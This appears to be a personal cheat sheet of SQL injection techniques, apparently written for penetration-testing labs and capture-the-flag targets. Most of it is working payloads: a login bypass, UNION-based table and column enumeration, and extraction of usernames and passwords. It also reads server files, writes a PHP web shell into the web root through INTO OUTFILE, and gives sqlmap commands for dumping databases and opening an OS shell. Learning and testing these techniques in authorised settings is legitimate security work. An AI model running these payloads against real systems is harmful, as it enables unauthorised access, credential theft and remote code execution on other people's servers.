SQL Injection
Post

SQL Injection

SQLi Authentication Bypass

A SQL query for a normal login, then, looks like this:

1
select * from users where name = 'tom' and password = 'jones';

If we control the value being passed in as $user, we can subvert the logic of the query by submitting tom' or 1=1;# as our username, which creates a query like this:

1
select * from users where name = 'tom' or 1=1;#' and password = 'jones';

SQLi payload:

1
tom' or 1=1;#

The pound character (#) is a comment marker in MySQL/MariaDB. It effectively removes the rest of the statement, so we’re left with:

1
select * from users where name = 'tom' or 1=1;

If we do encounter errors when our payload is returning multiple rows, we can instruct the query to return a fixed number of records with the LIMIT statement:

1
select * from users where name = 'tom' or 1=1 LIMIT 1;#

SQLite3

UNION Select

SQLite3 entrypoint:

1
http://192.168.186.52/debug.php?id=%27%27%20union%20select%20id,username,username,password,flag%20from%20users;--%20-

We need to know column and table names if we are going to extract data from them. This helps us execute a more surgical data extraction

We can add an order by clause to the query for simple enumeration. This clause tells the database to sort the results of the query by the values in one or more columns. We can use column names or the column index in the query.

Let’s submit the following URL:

1
http://10.11.0.22/debug.php?id=1 order by 1

This query instructs the database to sort the results based on the values in the first column. If there is at least one column in the query, the query is valid and the page will render without errors. We can submit multiple queries, incrementing the order by clause each time until the query generates an error, indicating that the maximum number of columns returned by the query in question has been exceeded. Remember, a query can select all the columns in a table or just a subset of columns. We need to rely on this trial-and-error approach if we do not have access to the source query.

SQLi Payload:

1
'' union select id,time,username,password,flag from users;-- -

SQLi Payload: After id=:

1
http://10.11.0.22/debug.php?id=1 union select 1,2,3,4,5 from users;-- -

SQLi Payload:

1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version

MariaDB

The following examples use commands specific to MariaDB. However, most other databases offer similar functionality with slightly different syntax. Regardless of what database software we target, it’s best to understand the platform-specific commands.

For example, to output the version of MariaDB, we can use this URL:

1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version

This should output a “2” in the name field and the database version number in the comment field:

Description

Good. It looks like that’s working. Next, let’s output the current database user with this query:

1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, user()

This query reveals that the root user is being used for database queries:

Description

We can enumerate database tables and column structures through the information_schema. The information schema stores information about the database, like table and column names. We can use it to get the layout of the database so that we can craft better payloads to extract sensitive data. The query for this would look similar to the following:

1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, table_name from information_schema.tables

This should output a lot of data, most of which references information about the default objects in MariaDB. It will also include the table names but we will need to scroll through the output to find them.

Description

The users table looks particularly interesting. Let’s target that table and retrieve the column names with the following query:

1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'

This outputs all the column names for the users table: Description

Armed with this information, we can extract the usernames and passwords from the table. We know that the original query selects three columns and the web page displays columns two and three. If we update our union payload, we can display the usernames in column two and the passwords in column three.

1
http://10.11.0.22/debug.php?id=1 union all select 1, username, password from users

This will output the database usernames in the name field and passwords in comments field:

Description

SQL Injection to Code Execution

Read a file:

1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')

Using the INTO OUTFILE function to create a malicious PHP file in the server’s web root. Based on error messages we’ve already seen, we should know the location of the web root.

1
http://10.11.0.22/debug.php?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE ' C:/xampp/htdocs/site2/public/backdoor.php'

If this succeeds, the file should be placed in the web root:

Description

This command produces an error message but this doesn’t necessarily mean the file creation was unsuccessful.

SQLMAP

Test if a paramater is vulnerable:

1
sqlmap -u http://192.168.186.52/debug.php?id=1 -p "id"

List databases:

1
sqlmap -u http://192.168.186.52/debug.php?id=1 -p "id" --dbs

List tables from a specific database:

1
sqlmap -u http://192.168.186.52/debug.php?id=1 -p "id" -D <database> --tables

List columns from a specific table:

1
sqlmap -u http://192.168.186.52/debug.php?id=1 -p "id" -D <database> -T <table> --columns

Dump the database: List tables from a specific database:

1
sqlmap -u http://192.168.186.52/debug.php?id=1 -p "id" -D <database> -T <table> --dump

Execute commands:

1
sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --os-shell

SQLi with POST parameter:

1
sudo sqlmap -u "https://streamio.htb/login.php" --data "username=&password=" -p username --os-command

Examples: [[StreamIO#^6ca422]]

WebSocket

It is possible to execute an SQL Injection through a websocket. For further details read Websocket Exploitation post.

References

PayloadAllTheThings SQLite Injection SQLite database structure